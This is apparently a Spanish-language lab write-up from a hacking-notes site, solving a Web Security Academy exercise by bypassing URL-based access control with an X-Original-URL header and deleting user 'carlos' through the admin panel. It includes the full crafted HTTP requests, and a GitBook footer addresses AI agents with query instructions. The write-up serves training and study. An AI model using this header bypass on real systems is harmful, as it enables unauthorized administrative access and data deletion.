> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/access-control/bypassing-url-based-access-control.md).

# Eludir el control de acceso basado en la URL

### El control de acceso basado en URL puede eludirse

En este ejercicio, el sitio tiene un panel de administración ubicado en **/admin**, bloqueado oficialmente por un filtro frontal que impide el acceso externo. / Sin embargo, la aplicación de back-end utiliza un framework que reconoce el **X-Original-URL** encabezado, eludiendo así la restricción.

<figure><img src="/files/1506fada78cac0e1bf2f3e13652d75bde8e73302" alt=""><figcaption></figcaption></figure>

#### **Análisis y explotación**

Al intentar acceder directamente a **/admin**, se deniega el acceso. / Para eludir este filtro, simplemente intercepta una solicitud (por ejemplo, a la `/` raíz) y añade el siguiente encabezado:

```http
X-Original-URL: /admin
```

Ejemplo de solicitud modificada:

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

El servidor back-end interpreta este encabezado y devuelve **200 OK**, dando acceso al panel de administración.

<figure><img src="/files/3e73cb15a3fbfe09c7a8127c8c224d4fe273cbe7" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario**

Para eliminar al usuario **carlos**, se forja una nueva solicitud redirigiendo la URL interna con el mismo encabezado:

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

La eliminación se realiza entonces con éxito.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
